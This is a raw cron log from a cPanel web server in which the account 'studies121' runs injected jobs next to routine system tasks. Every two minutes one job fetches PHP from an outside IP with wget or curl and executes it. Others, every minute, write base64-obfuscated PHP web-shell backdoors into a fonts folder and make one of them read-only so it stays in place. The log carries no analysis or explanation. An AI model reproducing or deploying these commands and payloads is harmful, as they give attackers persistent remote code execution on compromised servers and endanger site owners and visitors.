Sep  1 20:42:01 ip-184-168-122-23 CROND[22132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:43:01 ip-184-168-122-23 CROND[22311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:43:01 ip-184-168-122-23 CROND[22313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:43:01 ip-184-168-122-23 CROND[22316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:43:01 ip-184-168-122-23 CROND[22315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:44:01 ip-184-168-122-23 CROND[22398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:44:01 ip-184-168-122-23 CROND[22400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:44:01 ip-184-168-122-23 CROND[22402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:44:01 ip-184-168-122-23 CROND[22401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:44:01 ip-184-168-122-23 CROND[22403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:45:01 ip-184-168-122-23 CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:45:01 ip-184-168-122-23 CROND[22498]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 20:46:01 ip-184-168-122-23 CROND[22590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:46:01 ip-184-168-122-23 CROND[22592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:46:01 ip-184-168-122-23 CROND[22593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:46:01 ip-184-168-122-23 CROND[22596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:46:01 ip-184-168-122-23 CROND[22597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:46:01 ip-184-168-122-23 CROND[22598]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 20:46:01 ip-184-168-122-23 CROND[22600]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:47:01 ip-184-168-122-23 CROND[22726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:47:01 ip-184-168-122-23 CROND[22730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:47:01 ip-184-168-122-23 CROND[22729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:47:01 ip-184-168-122-23 CROND[22728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:48:01 ip-184-168-122-23 CROND[22897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:48:01 ip-184-168-122-23 CROND[22898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:48:01 ip-184-168-122-23 CROND[22899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:48:01 ip-184-168-122-23 CROND[22901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:48:01 ip-184-168-122-23 CROND[22902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:49:01 ip-184-168-122-23 CROND[22992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:49:01 ip-184-168-122-23 CROND[22993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:49:01 ip-184-168-122-23 CROND[22994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:49:01 ip-184-168-122-23 CROND[22995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:50:01 ip-184-168-122-23 CROND[23096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:50:01 ip-184-168-122-23 CROND[23095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:50:01 ip-184-168-122-23 CROND[23101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:51:01 ip-184-168-122-23 CROND[23200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:51:01 ip-184-168-122-23 CROND[23202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:51:01 ip-184-168-122-23 CROND[23201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:51:01 ip-184-168-122-23 CROND[23203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:52:01 ip-184-168-122-23 CROND[23286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:52:01 ip-184-168-122-23 CROND[23287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:52:01 ip-184-168-122-23 CROND[23288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:52:01 ip-184-168-122-23 CROND[23291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:52:01 ip-184-168-122-23 CROND[23290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:53:01 ip-184-168-122-23 CROND[23380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:53:01 ip-184-168-122-23 CROND[23382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:53:01 ip-184-168-122-23 CROND[23379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:53:01 ip-184-168-122-23 CROND[23381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:54:01 ip-184-168-122-23 CROND[23551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:54:01 ip-184-168-122-23 CROND[23553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:54:01 ip-184-168-122-23 CROND[23554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:54:01 ip-184-168-122-23 CROND[23557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:54:01 ip-184-168-122-23 CROND[23556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:55:01 ip-184-168-122-23 CROND[23648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
